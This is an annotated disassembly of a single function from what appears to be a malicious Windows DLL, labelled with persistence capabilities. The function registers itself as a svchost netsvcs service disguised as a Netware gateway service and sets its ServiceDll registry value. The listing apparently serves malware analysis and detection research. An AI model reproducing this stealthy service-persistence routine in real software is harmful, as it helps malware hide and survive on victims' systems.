Function at 0x10008960
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1f8]
sub esp, 0x1f8
push 0xffffffffffffffff
push 0x100636e0
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x1007f018]
xor eax, ebp
mov dword [ebp + 0x1f4], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x200]
xor edi, edi
cmp eax, edi
mov ebx, str.Gateway_Service_for_Netware
mov dword [ebp - 0x14], closesocket
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x1c], ebx
je 0x100089cd
cmp byte [eax], 0
je 0x100089cd
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x14]
push eax
push 1
push edi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
mov dword [ebp - 0x18], eax
je 0x10008a12
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push str.RegOpenKeyEx__s__KEY_QUERY_VALUE_error__d.
call fcn.10008f30
add esp, 0xc
push 0x1007d8e0
lea edx, [ebp - 0x38]
push edx
mov dword [ebp - 0x38], 0x1007d020
call sub.MSVCR80.dll__CxxThrowException
lea eax, [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x14]
lea ecx, [ebp]
push ecx
lea edx, [ebp - 0x58]
push edx
push edi
push str.netsvcs
push eax
mov dword [ebp - 0x50], 0x1f4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov esi, eax
push ecx
mov dword [ebp - 0x18], esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, edi
je 0x10008a64
push 0x1007d8e0
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], str.RegQueryValueEx_Svchost_netsvcs_
call sub.MSVCR80.dll__CxxThrowException
mov edi, dword [sym.imp.MSVCR80.dll_strchr]
lea esi, [ebp]
lea ecx, [ecx]
cmp byte [esi], 0
je 0x10008a98
push ebx
push esi
call dword [sym.imp.MSVCR80.dll__stricmp]
add esp, 8
test eax, eax
je 0x10008a93
push 0
push esi
call edi
add esp, 8
add eax, 1
mov esi, eax
jmp 0x10008a70
cmp byte [esi], 0
jne 0x10008adc
push str.you_specify_service_name_not_in_Svchost_netsvcs__must_be_one_of_following:
call fcn.10008f30
add esp, 4
lea esi, [ebp]
cmp byte [esi], 0
je 0x10008ac7
push esi
push str.____s
call fcn.10008f30
push 0
push esi
call edi
add esp, 0x10
add eax, 1
mov esi, eax
jmp 0x10008aa8
push 0x1007d8e0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x2c], 0x1007d020
call sub.MSVCR80.dll__CxxThrowException
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
mov dword [ebp - 0x24], esi
jne 0x10008b09
push 0x1007d8e0
lea ecx, [ebp - 0x4c]
push ecx
mov dword [ebp - 0x4c], str.OpenSCManager__
call sub.MSVCR80.dll__CxxThrowException
push 0
push 0
push 0
push 0
push 0
push str._SystemRoot_System32_svchost.exe__k_netsvcs
push 1
push 2
push 0x110
push 0xf01ff
push str.RIP_Listener
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
mov dword [ebp - 0x28], edi
jne 0x10008b69
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.CreateService__s__error__d
mov dword [ebp - 0x18], eax
call fcn.10008f30
add esp, 0xc
push 0x1007d8e0
lea edx, [ebp - 0x40]
push edx
mov dword [ebp - 0x40], 0x1007d020
call sub.MSVCR80.dll__CxxThrowException
push ebx
push str.CreateService__s__SUCCESS._Config_it
call fcn.10008f30
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 8
push edi
call ebx
push esi
call ebx
push 0x1f4
lea eax, [ebp]
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x14], closesocket
call dword [sym.imp.MSVCR80.dll_strncpy]
mov esi, dword [ebp - 0x1c]
push 0x64
lea ecx, [ebp]
push esi
push ecx
call dword [sym.imp.MSVCR80.dll_strncat]
mov ecx, dword [ebp - 0x14]
add esp, 0x18
lea edx, [ebp - 0x14]
push edx
push 0xf003f
push 0
lea eax, [ebp]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov dword [ebp - 0x18], eax
je 0x10008bf5
push eax
push esi
push str.RegOpenKeyEx__s__KEY_SET_VALUE_error__d.
call fcn.10008f30
add esp, 0xc
push 0x1007d8e0
lea edx, [ebp - 0x54]
push edx
mov dword [ebp - 0x54], 0x1007d020
call sub.MSVCR80.dll__CxxThrowException
mov ecx, str.Provides_access_to_file_and_print_resources_on_Netware_networks.
lea edx, [ebp]
lea ecx, [ecx]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x10008c00
lea eax, [ebp]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10008c14
mov ecx, dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
add eax, 1
push eax
lea eax, [ebp]
push eax
push 1
push 0
push str.Description
push ecx
call edi
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10008c61
push 0x1007d8e0
lea edx, [ebp - 0x30]
push edx
mov dword [ebp - 0x30], str.RegSetValueEx_ServiceDll_
call sub.MSVCR80.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push eax
push str.Parameters
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10008c99
push 0x1007d8e0
lea edx, [ebp - 0x34]
push edx
mov dword [ebp - 0x34], str.RegCreateKey_Parameters_
call sub.MSVCR80.dll__CxxThrowException
mov ecx, dword [0x10096838]
push 0x1f4
lea eax, [ebp]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10008cc8
push 0x1007d8e0
lea edx, [ebp - 0x3c]
push edx
mov dword [ebp - 0x3c], str.GetModuleFileName___get_dll_path
call sub.MSVCR80.dll__CxxThrowException
lea eax, [ebp]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10008cd0
mov ecx, dword [ebp - 0x20]
sub eax, edx
add eax, 1
push eax
lea eax, [ebp]
push eax
push 2
push 0
push str.ServiceDll
push ecx
call edi
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10008d4c
push 0x1007d8e0
lea edx, [ebp - 0x44]
push edx
mov dword [ebp - 0x44], str.RegSetValueEx_ServiceDll_
call sub.MSVCR80.dll__CxxThrowException
mov esi, dword [ebp - 0x5c]
test esi, esi
je 0x10008d3b
cmp byte [esi], 0
je 0x10008d3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str._s_error__d
mov dword [ebp - 0x18], eax
call fcn.10008f30
add esp, 0xc
mov eax, 0x10008d41
ret
mov eax, dword [ebp - 0x1c]
push eax
push str.Config_service__s_ok.
call fcn.10008f30
add esp, 8
mov ecx, dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
mov edx, dword [ebp - 0x20]
push edx
call edi
mov eax, dword [ebp - 0x28]
push eax
call ebx
mov ecx, dword [ebp - 0x24]
push ecx
call ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1f4]
xor ecx, ebp
call fcn.10009090
add ebp, 0x1f8
mov esp, ebp
pop ebp
ret